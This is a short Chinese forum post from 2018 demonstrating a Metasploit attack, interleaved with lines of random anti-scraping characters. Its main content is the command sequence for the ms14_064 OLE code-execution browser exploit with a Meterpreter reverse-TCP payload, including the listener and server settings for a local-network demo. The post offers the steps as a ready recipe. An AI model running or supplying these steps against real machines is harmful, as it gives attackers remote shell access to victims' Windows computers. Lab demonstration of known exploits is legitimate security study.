! b2 r9 e+ z) F$ ] B8 u$ @3 c
我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示; j5 @- c @9 a
( h8 L$ t9 a# l4 y) H+ m7 C. A# h4 A: G/ h
开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图：
& L# C& P$ n4 u/ w2 N
; @7 V3 v9 R7 v. I' J2 k) l
9 ?! |0 }4 l/ Q) p t7 `* P" c 然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp( b+ P D$ e1 k. R& S
- K: l* M/ i" g$ ] h0 z$ w$ X' D
; {9 k1 y7 u: G4 x+ b- O, a) H! V
set AllowPowershellPrompt true9 E6 {' T: K8 G {8 Y
/ h/ F+ O, D& [& p, K; s1 Z1 V+ c* L
" {( G* f3 G) T$ f6 ?
Set LHOST 192.168.0.109
4 F9 ^8 {0 {2 r, p" H# b, D' a# Z
( e8 w# q; z: Y# K5 A( @2 G) t* f) E! O8 s/ ~. u: {
set SRVHOST 192.168.0.109
. o) N' o8 }8 n2 v' U( l
; q+ a {0 g8 `/ T% r' Q! S# Y) x2 k# [/ B5 F" x/ S }. y7 ^+ g9 a4 F* z
Set uripath share
! N9 \ t* e3 \7 ^) q
6 x5 @$ }* M# m0 F" K2 t6 z5 h
0 o) E* {7 r2 M" A
Set srvport 80: d9 X3 C9 F; I8 ~6 W$ O
4 q2 j: O. n, B* }2 A p: E
( @) Z! K& Y5 X 
! w8 N; n' t5 ]0 u/ F! e
- z# k, J* n! Y7 h. M a, Q
2 u& U4 n0 G/ J; L! a4 s
0 E' _! d$ G4 x9 U
7 {$ k2 E# S( V7 M# j" t8 c& z
9 p5 `; T2 @, m" T% H
8 V0 ^6 g/ O: f% V: D1 i" q' c2 t& ^
! ?6 [ C& ]+ j6 |; G" l# H- M6 K9 Q7 R+ }" X! X! |! N8 g
* r* o0 |0 o9 n) s R5 L
/ n6 _1 K4 q5 t( u, P/ s7 e. b; l( [
1 b/ D4 r5 |5 D$ |% x9 P( @
5 W! e$ ]8 D2 I- b- O0 p
$ z V# B) |5 L; V% ^1 Y) }4 o! g/ d+ z- \$ J9 a/ T+ @9 H/ v
下面我们来访问本地地址如图：
N8 f) p: T" b; p7 D
/ K7 O3 n# H" e9 D6 D! u0 f
& d( W+ t% [! w" s3 I' C
- z6 N) Z" z$ M0 ~$ h: s
/ |( c; K4 I- P& I" c; W( [6 i7 T; }* g( o& D- E- @
' j, j7 [# _) h1 |$ W$ F/ u: P
$ K& i: g& K4 E# R k6 ^$ G8 j8 c! [7 m9 Q3 d- o3 X. w
7 K9 @. \& D( K/ d5 y4 R
发表于 2018-10-20 20:20:35
收藏
支持
反对